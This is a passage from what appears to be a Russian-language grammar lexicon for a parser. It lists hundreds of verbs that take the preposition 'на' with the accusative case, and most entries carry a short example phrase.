rus_verbs:накинуть{}, // накинуть на плечи
rus_verbs:отлететь{}, // отлететь на пол
rus_verbs:закинуть{}, // закинуть на чердак
rus_verbs:зашипеть{}, // зашипеть на собаку
rus_verbs:прогреметь{}, // прогреметь на всю страну
rus_verbs:повалить{}, // повалить на стол
rus_verbs:опереть{}, // опереть на фундамент
rus_verbs:забросить{}, // забросить на антресоль
rus_verbs:подействовать{}, // подействовать на материал
rus_verbs:разделять{}, // разделять на части
rus_verbs:прикрикнуть{}, // прикрикнуть на детей
rus_verbs:разложить{}, // разложить на множители
rus_verbs:провожать{}, // провожать на работу
rus_verbs:катить{}, // катить на стройку
rus_verbs:наложить{}, // наложить запрет на проведение операций с недвижимостью
rus_verbs:сохранять{}, // сохранять на память
rus_verbs:злиться{}, // злиться на друга
rus_verbs:оборачиваться{}, // оборачиваться на свист
rus_verbs:сползти{}, // сползти на землю
rus_verbs:записывать{}, // записывать на ленту
rus_verbs:загнать{}, // загнать на дерево
rus_verbs:забормотать{}, // забормотать на ухо
rus_verbs:протиснуться{}, // протиснуться на самый край
rus_verbs:заторопиться{}, // заторопиться на вручение премии
rus_verbs:гаркнуть{}, // гаркнуть на шалунов
rus_verbs:навалиться{}, // навалиться на виновника всей толпой
rus_verbs:проскользнуть{}, // проскользнуть на крышу дома
rus_verbs:подтянуть{}, // подтянуть на палубу
rus_verbs:скатиться{}, // скатиться на двойки
rus_verbs:давить{}, // давить на жалость
rus_verbs:намекнуть{}, // намекнуть на новые обстоятельства
rus_verbs:замахнуться{}, // замахнуться на святое
rus_verbs:заменить{}, // заменить на свежую салфетку
rus_verbs:свалить{}, // свалить на землю
rus_verbs:стекать{}, // стекать на оголенные провода
rus_verbs:увеличиваться{}, // увеличиваться на сотню процентов
rus_verbs:развалиться{}, // развалиться на части
rus_verbs:сердиться{}, // сердиться на товарища
rus_verbs:обронить{}, // обронить на пол
rus_verbs:подсесть{}, // подсесть на наркоту
rus_verbs:реагировать{}, // реагировать на импульсы
rus_verbs:отпускать{}, // отпускать на волю
rus_verbs:прогнать{}, // прогнать на рабочее место
rus_verbs:ложить{}, // ложить на стол
rus_verbs:рвать{}, // рвать на части
rus_verbs:разлететься{}, // разлететься на кусочки
rus_verbs:превышать{}, // превышать на существенную величину
rus_verbs:сбиться{}, // сбиться на рысь
rus_verbs:пристроиться{}, // пристроиться на хорошую работу
rus_verbs:удрать{}, // удрать на пастбище
rus_verbs:толкать{}, // толкать на преступление
rus_verbs:посматривать{}, // посматривать на экран
rus_verbs:набирать{}, // набирать на судно
rus_verbs:отступать{}, // отступать на дерево
rus_verbs:подуть{}, // подуть на молоко
rus_verbs:плеснуть{}, // плеснуть на голову
rus_verbs:соскользнуть{}, // соскользнуть на землю
rus_verbs:затаить{}, // затаить на кого-то обиду
rus_verbs:обижаться{}, // обижаться на Колю
rus_verbs:смахнуть{}, // смахнуть на пол
rus_verbs:застегнуть{}, // застегнуть на все пуговицы
rus_verbs:спускать{}, // спускать на землю
rus_verbs:греметь{}, // греметь на всю округу
rus_verbs:скосить{}, // скосить на соседа глаз
rus_verbs:отважиться{}, // отважиться на прыжок
rus_verbs:литься{}, // литься на землю
rus_verbs:порвать{}, // порвать на тряпки
rus_verbs:проследовать{}, // проследовать на сцену
rus_verbs:надевать{}, // надевать на голову
rus_verbs:проскочить{}, // проскочить на красный свет
rus_verbs:прилечь{}, // прилечь на диванчик
rus_verbs:разделиться{}, // разделиться на небольшие группы
rus_verbs:завыть{}, // завыть на луну
rus_verbs:переносить{}, // переносить на другую машину
rus_verbs:наговорить{}, // наговорить на сотню рублей
rus_verbs:намекать{}, // намекать на новые обстоятельства
rus_verbs:нападать{}, // нападать на охранников
rus_verbs:убегать{}, // убегать на другое место
rus_verbs:тратить{}, // тратить на развлечения
rus_verbs:присаживаться{}, // присаживаться на корточки
rus_verbs:переместиться{}, // переместиться на вторую линию
rus_verbs:завалиться{}, // завалиться на диван
rus_verbs:удалиться{}, // удалиться на покой
rus_verbs:уменьшаться{}, // уменьшаться на несколько процентов
rus_verbs:обрушить{}, // обрушить на голову
rus_verbs:резать{}, // резать на части
rus_verbs:умчаться{}, // умчаться на юг
rus_verbs:навернуться{}, // навернуться на камень
rus_verbs:примчаться{}, // примчаться на матч
rus_verbs:издавать{}, // издавать на собственные средства
rus_verbs:переключить{}, // переключить на другой язык
rus_verbs:отправлять{}, // отправлять на пенсию
rus_verbs:залечь{}, // залечь на дно
rus_verbs:установиться{}, // установиться на диск
rus_verbs:направлять{}, // направлять на дополнительное обследование
rus_verbs:разрезать{}, // разрезать на части
rus_verbs:оскалиться{}, // оскалиться на прохожего
rus_verbs:рычать{}, // рычать на пьяных
rus_verbs:погружаться{}, // погружаться на дно
rus_verbs:опираться{}, // опираться на костыли
rus_verbs:поторопиться{}, // поторопиться на учебу
rus_verbs:сдвинуться{}, // сдвинуться на сантиметр
rus_verbs:увеличить{}, // увеличить на процент
rus_verbs:опускать{}, // опускать на землю
rus_verbs:созвать{}, // созвать на митинг
rus_verbs:делить{}, // делить на части
rus_verbs:пробиться{}, // пробиться на заключительную часть
rus_verbs:простираться{}, // простираться на много миль
rus_verbs:забить{}, // забить на учебу
rus_verbs:переложить{}, // переложить на чужие плечи
rus_verbs:грохнуться{}, // грохнуться на землю
rus_verbs:прорваться{}, // прорваться на сцену
rus_verbs:разлить{}, // разлить на землю
rus_verbs:укладываться{}, // укладываться на ночевку
rus_verbs:уволить{}, // уволить на пенсию
rus_verbs:наносить{}, // наносить на кожу
rus_verbs:набежать{}, // набежать на берег
rus_verbs:заявиться{}, // заявиться на стрельбище
rus_verbs:налиться{}, // налиться на крышку
rus_verbs:надвигаться{}, // надвигаться на берег
rus_verbs:распустить{}, // распустить на каникулы
rus_verbs:переключиться{}, // переключиться на другую задачу
rus_verbs:чихнуть{}, // чихнуть на окружающих
rus_verbs:шлепнуться{}, // шлепнуться на спину
rus_verbs:устанавливать{}, // устанавливать на крышу
rus_verbs:устанавливаться{}, // устанавливаться на крышу
rus_verbs:устраиваться{}, // устраиваться на работу
rus_verbs:пропускать{}, // пропускать на стадион
инфинитив:сбегать{ вид:соверш }, глагол:сбегать{ вид:соверш }, // сбегать на фильм
инфинитив:сбегать{ вид:несоверш }, глагол:сбегать{ вид:несоверш },
деепричастие:сбегав{}, деепричастие:сбегая{},
rus_verbs:показываться{}, // показываться на глаза
rus_verbs:прибегать{}, // прибегать на урок
rus_verbs:съездить{}, // съездить на ферму
rus_verbs:прославиться{}, // прославиться на всю страну
rus_verbs:опрокинуться{}, // опрокинуться на спину
rus_verbs:насыпать{}, // насыпать на землю
rus_verbs:употреблять{}, // употреблять на корм скоту
rus_verbs:пристроить{}, // пристроить на работу
rus_verbs:заворчать{}, // заворчать на вошедшего
rus_verbs:завязаться{}, // завязаться на поставщиков
rus_verbs:сажать{}, // сажать на стул
rus_verbs:напрашиваться{}, // напрашиваться на жесткие ответные меры
rus_verbs:заменять{}, // заменять на исправную
rus_verbs:нацепить{}, // нацепить на голову
rus_verbs:сыпать{}, // сыпать на землю
rus_verbs:закрываться{}, // закрываться на ремонт
rus_verbs:распространиться{}, // распространиться на всю популяцию
rus_verbs:поменять{}, // поменять на велосипед
rus_verbs:пересесть{}, // пересесть на велосипеды
rus_verbs:подоспеть{}, // подоспеть на разбор
rus_verbs:шипеть{}, // шипеть на собак
rus_verbs:поделить{}, // поделить на части
rus_verbs:подлететь{}, // подлететь на расстояние выстрела
rus_verbs:нажимать{}, // нажимать на все кнопки
rus_verbs:распасться{}, // распасться на части
rus_verbs:приволочь{}, // приволочь на диван
rus_verbs:пожить{}, // пожить на один доллар
rus_verbs:устремляться{}, // устремляться на свободу
rus_verbs:смахивать{}, // смахивать на пол
rus_verbs:забежать{}, // забежать на обед
rus_verbs:увеличиться{}, // увеличиться на существенную величину
rus_verbs:прокрасться{}, // прокрасться на склад
rus_verbs:пущать{}, // пущать на постой
rus_verbs:отклонить{}, // отклонить на несколько градусов
rus_verbs:насмотреться{}, // насмотреться на безобразия
rus_verbs:настроить{}, // настроить на короткие волны
rus_verbs:уменьшиться{}, // уменьшиться на пару сантиметров
rus_verbs:поменяться{}, // поменяться на другую книжку
rus_verbs:расколоться{}, // расколоться на части
rus_verbs:разлиться{}, // разлиться на землю
rus_verbs:срываться{}, // срываться на жену
rus_verbs:осудить{}, // осудить на пожизненное заключение
rus_verbs:передвинуть{}, // передвинуть на первое место
rus_verbs:допускаться{}, // допускаться на полигон
rus_verbs:задвинуть{}, // задвинуть на полку
rus_verbs:повлиять{}, // повлиять на оценку
rus_verbs:отбавлять{}, // отбавлять на осмотр
rus_verbs:сбрасывать{}, // сбрасывать на землю
rus_verbs:накинуться{}, // накинуться на случайных прохожих
rus_verbs:пролить{}, // пролить на кожу руки
rus_verbs:затащить{}, // затащить на сеновал
rus_verbs:перебежать{}, // перебежать на сторону противника
rus_verbs:наливать{}, // наливать на скатерть
rus_verbs:пролезть{}, // пролезть на сцену
rus_verbs:откладывать{}, // откладывать на черный день
rus_verbs:распадаться{}, // распадаться на небольшие фрагменты
rus_verbs:перечислить{}, // перечислить на счет
rus_verbs:закачаться{}, // закачаться на верхний уровень
rus_verbs:накрениться{}, // накрениться на правый борт
rus_verbs:подвинуться{}, // подвинуться на один уровень
rus_verbs:разнести{}, // разнести на мелкие кусочки
rus_verbs:зажить{}, // зажить на широкую ногу
rus_verbs:оглохнуть{}, // оглохнуть на правое ухо
rus_verbs:посетовать{}, // посетовать на бюрократизм
rus_verbs:уводить{}, // уводить на осмотр
rus_verbs:ускакать{}, // ускакать на забег
rus_verbs:посветить{}, // посветить на стену
rus_verbs:разрываться{}, // разрываться на части
rus_verbs:побросать{}, // побросать на землю
rus_verbs:карабкаться{}, // карабкаться на скалу
rus_verbs:нахлынуть{}, // нахлынуть на кого-то
rus_verbs:разлетаться{}, // разлетаться на мелкие осколочки
rus_verbs:среагировать{}, // среагировать на сигнал
rus_verbs:претендовать{}, // претендовать на приз
rus_verbs:дунуть{}, // дунуть на одуванчик
rus_verbs:переводиться{}, // переводиться на другую работу
rus_verbs:перевезти{}, // перевезти на другую площадку
rus_verbs:топать{}, // топать на урок
rus_verbs:относить{}, // относить на склад
rus_verbs:сбивать{}, // сбивать на землю
rus_verbs:укладывать{}, // укладывать на спину
rus_verbs:укатить{}, // укатить на отдых
rus_verbs:убирать{}, // убирать на полку
rus_verbs:опасть{}, // опасть на землю
rus_verbs:ронять{}, // ронять на снег
rus_verbs:пялиться{}, // пялиться на тело
rus_verbs:глазеть{}, // глазеть на тело
rus_verbs:снижаться{}, // снижаться на безопасную высоту
rus_verbs:запрыгнуть{}, // запрыгнуть на платформу
rus_verbs:разбиваться{}, // разбиваться на главы
rus_verbs:сгодиться{}, // сгодиться на фарш
rus_verbs:перескочить{}, // перескочить на другую страницу
rus_verbs:нацелиться{}, // нацелиться на главную добычу
rus_verbs:заезжать{}, // заезжать на бордюр
rus_verbs:забираться{}, // забираться на крышу
rus_verbs:проорать{}, // проорать на всё село
rus_verbs:сбежаться{}, // сбежаться на шум
rus_verbs:сменять{}, // сменять на хлеб
rus_verbs:мотать{}, // мотать на ус
rus_verbs:раскалываться{}, // раскалываться на две половинки
rus_verbs:коситься{}, // коситься на режиссёра
rus_verbs:плевать{}, // плевать на законы
rus_verbs:ссылаться{}, // ссылаться на авторитетное мнение
rus_verbs:наставить{}, // наставить на путь истинный
rus_verbs:завывать{}, // завывать на Луну
rus_verbs:опаздывать{}, // опаздывать на совещание
rus_verbs:залюбоваться{}, // залюбоваться на пейзаж
rus_verbs:повергнуть{}, // повергнуть на землю
rus_verbs:надвинуть{}, // надвинуть на лоб
rus_verbs:стекаться{}, // стекаться на площадь
rus_verbs:обозлиться{}, // обозлиться на тренера
rus_verbs:оттянуть{}, // оттянуть на себя
rus_verbs:истратить{}, // истратить на дешевых шлюх
rus_verbs:вышвырнуть{}, // вышвырнуть на улицу
rus_verbs:затолкать{}, // затолкать на верхнюю полку
rus_verbs:заскочить{}, // заскочить на огонек
rus_verbs:проситься{}, // проситься на улицу
rus_verbs:натыкаться{}, // натыкаться на борщевик
rus_verbs:обрушиваться{}, // обрушиваться на митингующих
rus_verbs:переписать{}, // переписать на чистовик
rus_verbs:переноситься{}, // переноситься на другое устройство
rus_verbs:напроситься{}, // напроситься на обидный ответ
rus_verbs:натягивать{}, // натягивать на ноги
rus_verbs:кидаться{}, // кидаться на прохожих
rus_verbs:откликаться{}, // откликаться на призыв
rus_verbs:поспевать{}, // поспевать на балет
rus_verbs:обратиться{}, // обратиться на кафедру
rus_verbs:полюбоваться{}, // полюбоваться на бюст
rus_verbs:таращиться{}, // таращиться на мустангов
rus_verbs:напороться{}, // напороться на колючки
rus_verbs:раздать{}, // раздать на руки
rus_verbs:дивиться{}, // дивиться на танцовщиц
rus_verbs:назначать{}, // назначать на ответственнейший пост
rus_verbs:кидать{}, // кидать на балкон
rus_verbs:нахлобучить{}, // нахлобучить на башку
rus_verbs:увлекать{}, // увлекать на луг
rus_verbs:ругнуться{}, // ругнуться на животину
rus_verbs:переселиться{}, // переселиться на хутор
rus_verbs:разрывать{}, // разрывать на части
rus_verbs:утащить{}, // утащить на дерево
rus_verbs:наставлять{}, // наставлять на путь
rus_verbs:соблазнить{}, // соблазнить на обмен
rus_verbs:накладывать{}, // накладывать на рану
rus_verbs:набрести{}, // набрести на грибную поляну
rus_verbs:наведываться{}, // наведываться на прежнюю работу
rus_verbs:погулять{}, // погулять на чужие деньги
rus_verbs:уклоняться{}, // уклоняться на два градуса влево
rus_verbs:слезать{}, // слезать на землю
rus_verbs:клевать{}, // клевать на мотыля
// rus_verbs:назначаться{}, // назначаться на пост
rus_verbs:напялить{}, // напялить на голову
rus_verbs:натянуться{}, // натянуться на рамку
rus_verbs:разгневаться{}, // разгневаться на придворных
rus_verbs:эмигрировать{}, // эмигрировать на Кипр
rus_verbs:накатить{}, // накатить на основу
rus_verbs:пригнать{}, // пригнать на пастбище
rus_verbs:обречь{}, // обречь на мучения
rus_verbs:сокращаться{}, // сокращаться на четверть
rus_verbs:оттеснить{}, // оттеснить на пристань
rus_verbs:подбить{}, // подбить на аферу
rus_verbs:заманить{}, // заманить на дерево
инфинитив:пописать{ aux stress="поп^исать" }, глагол:пописать{ aux stress="поп^исать" }, // пописать на кустик
// деепричастие:пописав{ aux stress="поп^исать" },
rus_verbs:посходить{}, // посходить на перрон
rus_verbs:налечь{}, // налечь на мясцо
rus_verbs:отбирать{}, // отбирать на флот
rus_verbs:нашептывать{}, // нашептывать на ухо
rus_verbs:откладываться{}, // откладываться на будущее
rus_verbs:залаять{}, // залаять на грабителя
rus_verbs:настроиться{}, // настроиться на прием
rus_verbs:разбивать{}, // разбивать на куски
rus_verbs:пролиться{}, // пролиться на почву
rus_verbs:сетовать{}, // сетовать на объективные трудности
rus_verbs:подвезти{}, // подвезти на митинг
rus_verbs:припереться{}, // припереться на праздник
rus_verbs:подталкивать{}, // подталкивать на прыжок
rus_verbs:прорываться{}, // прорываться на сцену
rus_verbs:снижать{}, // снижать на несколько процентов
rus_verbs:нацелить{}, // нацелить на танк
rus_verbs:расколоть{}, // расколоть на два куска
rus_verbs:увозить{}, // увозить на обкатку
rus_verbs:оседать{}, // оседать на дно
rus_verbs:съедать{}, // съедать на ужин
rus_verbs:навлечь{}, // навлечь на себя
rus_verbs:равняться{}, // равняться на лучших
rus_verbs:сориентироваться{}, // сориентироваться на местности
rus_verbs:снизить{}, // снизить на несколько процентов
rus_verbs:перенестись{}, // перенестись на много лет назад
rus_verbs:завезти{}, // завезти на склад
rus_verbs:проложить{}, // проложить на гору
rus_verbs:понадеяться{}, // понадеяться на удачу
rus_verbs:заступить{}, // заступить на вахту
rus_verbs:засеменить{}, // засеменить на выход
rus_verbs:запирать{}, // запирать на ключ
rus_verbs:скатываться{}, // скатываться на землю
rus_verbs:дробить{}, // дробить на части
rus_verbs:разваливаться{}, // разваливаться на кусочки
rus_verbs:завозиться{}, // завозиться на склад
rus_verbs:нанимать{}, // нанимать на дневную работу
rus_verbs:поспеть{}, // поспеть на концерт
rus_verbs:променять{}, // променять на сытость
rus_verbs:переправить{}, // переправить на север
rus_verbs:налетать{}, // налетать на силовое поле
rus_verbs:затворить{}, // затворить на замок
rus_verbs:подогнать{}, // подогнать на пристань
rus_verbs:наехать{}, // наехать на камень
rus_verbs:распевать{}, // распевать на разные голоса
rus_verbs:разносить{}, // разносить на клочки
rus_verbs:преувеличивать{}, // преувеличивать на много килограммов
rus_verbs:хромать{}, // хромать на одну ногу
rus_verbs:телеграфировать{}, // телеграфировать на базу
rus_verbs:порезать{}, // порезать на лоскуты
rus_verbs:порваться{}, // порваться на части
rus_verbs:загонять{}, // загонять на дерево
rus_verbs:отбывать{}, // отбывать на место службы
rus_verbs:усаживаться{}, // усаживаться на трон
rus_verbs:накопить{}, // накопить на квартиру
rus_verbs:зыркнуть{}, // зыркнуть на визитера
rus_verbs:копить{}, // копить на машину
rus_verbs:помещать{}, // помещать на верхнюю грань
rus_verbs:сползать{}, // сползать на снег
rus_verbs:попроситься{}, // попроситься на улицу
rus_verbs:перетащить{}, // перетащить на чердак
rus_verbs:растащить{}, // растащить на сувениры
rus_verbs:ниспадать{}, // ниспадать на землю
rus_verbs:сфотографировать{}, // сфотографировать на память
rus_verbs:нагонять{}, // нагонять на конкурентов страх
rus_verbs:покушаться{}, // покушаться на понтифика
rus_verbs:покуситься{},
rus_verbs:наняться{}, // наняться на службу
rus_verbs:просачиваться{}, // просачиваться на поверхность
rus_verbs:пускаться{}, // пускаться на ветер
rus_verbs:отваживаться{}, // отваживаться на прыжок
rus_verbs:досадовать{}, // досадовать на объективные трудности
rus_verbs:унестись{}, // унестись на небо
rus_verbs:ухудшаться{}, // ухудшаться на несколько процентов
rus_verbs:насадить{}, // насадить на копьё
rus_verbs:нагрянуть{}, // нагрянуть на праздник
rus_verbs:зашвырнуть{}, // зашвырнуть на полку
rus_verbs:грешить{}, // грешить на постояльцев
rus_verbs:просочиться{}, // просочиться на поверхность
rus_verbs:надоумить{}, // надоумить на глупость
rus_verbs:намотать{}, // намотать на шпиндель
rus_verbs:замкнуть{}, // замкнуть на корпус
rus_verbs:цыкнуть{}, // цыкнуть на детей
rus_verbs:переворачиваться{}, // переворачиваться на спину
rus_verbs:соваться{}, // соваться на площать
rus_verbs:отлучиться{}, // отлучиться на обед
rus_verbs:пенять{}, // пенять на себя
rus_verbs:нарезать{}, // нарезать на ломтики
rus_verbs:поставлять{}, // поставлять на Кипр
rus_verbs:залезать{}, // залезать на балкон
rus_verbs:отлучаться{}, // отлучаться на обед
rus_verbs:сбиваться{}, // сбиваться на шаг
rus_verbs:таращить{}, // таращить глаза на вошедшего
rus_verbs:прошмыгнуть{}, // прошмыгнуть на кухню
rus_verbs:опережать{}, // опережать на пару сантиметров
rus_verbs:переставить{}, // переставить на стол
rus_verbs:раздирать{}, // раздирать на части
rus_verbs:затвориться{}, // затвориться на засовы
rus_verbs:материться{}, // материться на кого-то
rus_verbs:наскочить{}, // наскочить на риф
rus_verbs:набираться{}, // набираться на борт
rus_verbs:покрикивать{}, // покрикивать на помощников
rus_verbs:заменяться{}, // заменяться на более новый
rus_verbs:подсадить{}, // подсадить на верхнюю полку
rus_verbs:проковылять{}, // проковылять на кухню
rus_verbs:прикатить{}, // прикатить на старт
rus_verbs:залететь{}, // залететь на чужую территорию
rus_verbs:загрузить{}, // загрузить на конвейер
rus_verbs:уплывать{}, // уплывать на материк
rus_verbs:опозорить{}, // опозорить на всю деревню
rus_verbs:провоцировать{}, // провоцировать на ответную агрессию
rus_verbs:забивать{}, // забивать на учебу
rus_verbs:набегать{}, // набегать на прибрежные деревни
rus_verbs:запираться{}, // запираться на ключ
rus_verbs:фотографировать{}, // фотографировать на мыльницу
rus_verbs:подымать{}, // подымать на недосягаемую высоту
rus_verbs:съезжаться{}, // съезжаться на симпозиум
rus_verbs:отвлекаться{}, // отвлекаться на игру
rus_verbs:проливать{}, // проливать на брюки
rus_verbs:спикировать{}, // спикировать на зазевавшегося зайца
rus_verbs:уползти{}, // уползти на вершину холма
rus_verbs:переместить{}, // переместить на вторую палубу
rus_verbs:превысить{}, // превысить на несколько метров
rus_verbs:передвинуться{}, // передвинуться на соседнюю клетку
rus_verbs:спровоцировать{}, // спровоцировать на бросок
rus_verbs:сместиться{}, // сместиться на соседнюю клетку
rus_verbs:заготовить{}, // заготовить на зиму
rus_verbs:плеваться{}, // плеваться на пол
rus_verbs:переселить{}, // переселить на север
rus_verbs:напирать{}, // напирать на дверь
rus_verbs:переезжать{}, // переезжать на другой этаж
rus_verbs:приподнимать{}, // приподнимать на несколько сантиметров
rus_verbs:трогаться{}, // трогаться на красный свет
rus_verbs:надвинуться{}, // надвинуться на глаза
rus_verbs:засмотреться{}, // засмотреться на купальники
rus_verbs:убыть{}, // убыть на фронт
rus_verbs:передвигать{}, // передвигать на второй уровень
rus_verbs:отвозить{}, // отвозить на свалку
rus_verbs:обрекать{}, // обрекать на гибель
rus_verbs:записываться{}, // записываться на танцы
rus_verbs:настраивать{}, // настраивать на другой диапазон
rus_verbs:переписывать{}, // переписывать на диск
rus_verbs:израсходовать{}, // израсходовать на гонки
rus_verbs:обменять{}, // обменять на перспективного игрока
rus_verbs:трубить{}, // трубить на всю округу
rus_verbs:набрасываться{}, // набрасываться на жертву
rus_verbs:чихать{}, // чихать на правила
rus_verbs:наваливаться{}, // наваливаться на рычаг
rus_verbs:сподобиться{}, // сподобиться на повторный анализ
rus_verbs:намазать{}, // намазать на хлеб
rus_verbs:прореагировать{}, // прореагировать на вызов
rus_verbs:зачислить{}, // зачислить на факультет
rus_verbs:наведаться{}, // наведаться на склад
rus_verbs:откидываться{}, // откидываться на спинку кресла
rus_verbs:захромать{}, // захромать на левую ногу
rus_verbs:перекочевать{}, // перекочевать на другой берег
rus_verbs:накатываться{}, // накатываться на песчаный берег
rus_verbs:приостановить{}, // приостановить на некоторое время
rus_verbs:запрятать{}, // запрятать на верхнюю полочку
rus_verbs:прихрамывать{}, // прихрамывать на правую ногу
rus_verbs:упорхнуть{}, // упорхнуть на свободу
rus_verbs:расстегивать{}, // расстегивать на пальто
rus_verbs:напуститься{}, // напуститься на бродягу
rus_verbs:накатывать{}, // накатывать на оригинал
rus_verbs:наезжать{}, // наезжать на простофилю
rus_verbs:тявкнуть{}, // тявкнуть на подошедшего человека
rus_verbs:отрядить{}, // отрядить на починку
rus_verbs:положиться{}, // положиться на главаря
rus_verbs:опрокидывать{}, // опрокидывать на голову
rus_verbs:поторапливаться{}, // поторапливаться на рейс
rus_verbs:налагать{}, // налагать на заемщика
rus_verbs:скопировать{}, // скопировать на диск
rus_verbs:опадать{}, // опадать на землю
rus_verbs:купиться{}, // купиться на посулы
rus_verbs:гневаться{}, // гневаться на слуг
rus_verbs:слететься{}, // слететься на раздачу
rus_verbs:убавить{}, // убавить на два уровня
rus_verbs:спихнуть{}, // спихнуть на соседа
rus_verbs:накричать{}, // накричать на ребенка
rus_verbs:приберечь{}, // приберечь на ужин
rus_verbs:приклеить{}, // приклеить на ветровое стекло
rus_verbs:ополчиться{}, // ополчиться на посредников
rus_verbs:тратиться{}, // тратиться на сувениры
rus_verbs:слетаться{}, // слетаться на свет
rus_verbs:доставляться{}, // доставляться на базу
rus_verbs:поплевать{}, // поплевать на руки
rus_verbs:огрызаться{}, // огрызаться на замечание
rus_verbs:попереться{}, // попереться на рынок
rus_verbs:растягиваться{}, // растягиваться на полу
rus_verbs:повергать{}, // повергать на землю
rus_verbs:ловиться{}, // ловиться на мотыля
rus_verbs:наседать{}, // наседать на обороняющихся
rus_verbs:развалить{}, // развалить на кирпичи
rus_verbs:разломить{}, // разломить на несколько частей
rus_verbs:примерить{}, // примерить на себя
rus_verbs:лепиться{}, // лепиться на стену
rus_verbs:скопить{}, // скопить на старость
rus_verbs:затратить{}, // затратить на ликвидацию последствий
rus_verbs:притащиться{}, // притащиться на гулянку
rus_verbs:осерчать{}, // осерчать на прислугу
rus_verbs:натравить{}, // натравить на медведя
rus_verbs:ссыпать{}, // ссыпать на землю
rus_verbs:подвозить{}, // подвозить на пристань
rus_verbs:мобилизовать{}, // мобилизовать на сборы
rus_verbs:смотаться{}, // смотаться на работу
rus_verbs:заглядеться{}, // заглядеться на девчонок
rus_verbs:таскаться{}, // таскаться на работу
rus_verbs:разгружать{}, // разгружать на транспортер
rus_verbs:потреблять{}, // потреблять на кондиционирование
инфинитив:сгонять{ вид:соверш }, глагол:сгонять{ вид:соверш }, // сгонять на базу
деепричастие:сгоняв{},
rus_verbs:посылаться{}, // посылаться на разведку
rus_verbs:окрыситься{}, // окрыситься на кого-то
rus_verbs:отлить{}, // отлить на сковороду
rus_verbs:шикнуть{}, // шикнуть на детишек
rus_verbs:уповать{}, // уповать на бескорысную помощь
rus_verbs:класться{}, // класться на стол
rus_verbs:поковылять{}, // поковылять на выход
rus_verbs:навевать{}, // навевать на собравшихся скуку
rus_verbs:накладываться{}, // накладываться на грунтовку
rus_verbs:наноситься{}, // наноситься на чистую кожу
// rus_verbs:запланировать{}, // запланировать на среду
rus_verbs:кувыркнуться{}, // кувыркнуться на землю
rus_verbs:гавкнуть{}, // гавкнуть на хозяина
rus_verbs:перестроиться{}, // перестроиться на новый лад
rus_verbs:расходоваться{}, // расходоваться на образование
rus_verbs:дуться{}, // дуться на бабушку
rus_verbs:перетаскивать{}, // перетаскивать на рабочий стол
rus_verbs:издаться{}, // издаться на деньги спонсоров
rus_verbs:смещаться{}, // смещаться на несколько миллиметров
rus_verbs:зазывать{}, // зазывать на новогоднюю распродажу
rus_verbs:пикировать{}, // пикировать на окопы
rus_verbs:чертыхаться{}, // чертыхаться на мешающихся детей
rus_verbs:зудить{}, // зудить на ухо
rus_verbs:подразделяться{}, // подразделяться на группы
rus_verbs:изливаться{}, // изливаться на землю
rus_verbs:помочиться{}, // помочиться на траву
rus_verbs:примерять{}, // примерять на себя
rus_verbs:разрядиться{}, // разрядиться на землю
rus_verbs:мотнуться{}, // мотнуться на крышу
rus_verbs:налегать{}, // налегать на весла
rus_verbs:зацокать{}, // зацокать на куриц
rus_verbs:наниматься{}, // наниматься на корабль
rus_verbs:сплевывать{}, // сплевывать на землю
rus_verbs:настучать{}, // настучать на саботажника
rus_verbs:приземляться{}, // приземляться на брюхо
rus_verbs:наталкиваться{}, // наталкиваться на объективные трудности
rus_verbs:посигналить{}, // посигналить нарушителю, выехавшему на встречную полосу
rus_verbs:серчать{}, // серчать на нерасторопную помощницу
rus_verbs:сваливать{}, // сваливать на подоконник
rus_verbs:засобираться{}, // засобираться на работу
rus_verbs:распилить{}, // распилить на одинаковые бруски
//rus_verbs:умножать{}, // умножать на константу
rus_verbs:копировать{}, // копировать на диск
rus_verbs:накрутить{}, // накрутить на руку
rus_verbs:навалить{}, // навалить на телегу
rus_verbs:натолкнуть{}, // натолкнуть на свежую мысль
rus_verbs:шлепаться{}, // шлепаться на бетон
rus_verbs:ухлопать{}, // ухлопать на скупку произведений искусства
rus_verbs:замахиваться{}, // замахиваться на авторитетнейшее мнение
rus_verbs:посягнуть{}, // посягнуть на святое
rus_verbs:разменять{}, // разменять на мелочь
rus_verbs:откатываться{}, // откатываться на заранее подготовленные позиции
rus_verbs:усаживать{}, // усаживать на скамейку
rus_verbs:натаскать{}, // натаскать на поиск наркотиков
rus_verbs:зашикать{}, // зашикать на кошку
rus_verbs:разломать{}, // разломать на равные части
rus_verbs:приглашаться{}, // приглашаться на сцену
rus_verbs:присягать{}, // присягать на верность
rus_verbs:запрограммировать{}, // запрограммировать на постоянную уборку
rus_verbs:расщедриться{}, // расщедриться на новый компьютер
rus_verbs:насесть{}, // насесть на двоечников
rus_verbs:созывать{}, // созывать на собрание
rus_verbs:позариться{}, // позариться на чужое добро
rus_verbs:перекидываться{}, // перекидываться на соседние здания
rus_verbs:наползать{}, // наползать на неповрежденную ткань
rus_verbs:изрубить{}, // изрубить на мелкие кусочки
rus_verbs:наворачиваться{}, // наворачиваться на глаза
rus_verbs:раскричаться{}, // раскричаться на всю округу
rus_verbs:переползти{}, // переползти на светлую сторону
rus_verbs:уполномочить{}, // уполномочить на разведовательную операцию
rus_verbs:мочиться{}, // мочиться на трупы убитых врагов
rus_verbs:радировать{}, // радировать на базу
rus_verbs:промотать{}, // промотать на начало
rus_verbs:заснять{}, // заснять на видео
rus_verbs:подбивать{}, // подбивать на матч-реванш
rus_verbs:наплевать{}, // наплевать на справедливость
rus_verbs:подвывать{}, // подвывать на луну
rus_verbs:расплескать{}, // расплескать на пол
rus_verbs:польститься{}, // польститься на бесплатный сыр
rus_verbs:помчать{}, // помчать на работу
rus_verbs:съезжать{}, // съезжать на обочину
rus_verbs:нашептать{}, // нашептать кому-то на ухо
rus_verbs:наклеить{}, // наклеить на доску объявлений
rus_verbs:завозить{}, // завозить на склад
rus_verbs:заявляться{}, // заявляться на любимую работу
rus_verbs:наглядеться{}, // наглядеться на воробьев
rus_verbs:хлопнуться{}, // хлопнуться на живот
rus_verbs:забредать{}, // забредать на поляну
rus_verbs:посягать{}, // посягать на исконные права собственности
rus_verbs:сдвигать{}, // сдвигать на одну позицию
rus_verbs:спрыгивать{}, // спрыгивать на землю
rus_verbs:сдвигаться{}, // сдвигаться на две позиции
rus_verbs:разделать{}, // разделать на орехи
rus_verbs:разлагать{}, // разлагать на элементарные элементы
rus_verbs:обрушивать{}, // обрушивать на головы врагов
rus_verbs:натечь{}, // натечь на пол
rus_verbs:политься{}, // вода польется на землю
rus_verbs:успеть{}, // Они успеют на поезд.
инфинитив:мигрировать{ вид:несоверш }, глагол:мигрировать{ вид:несоверш },
деепричастие:мигрируя{},
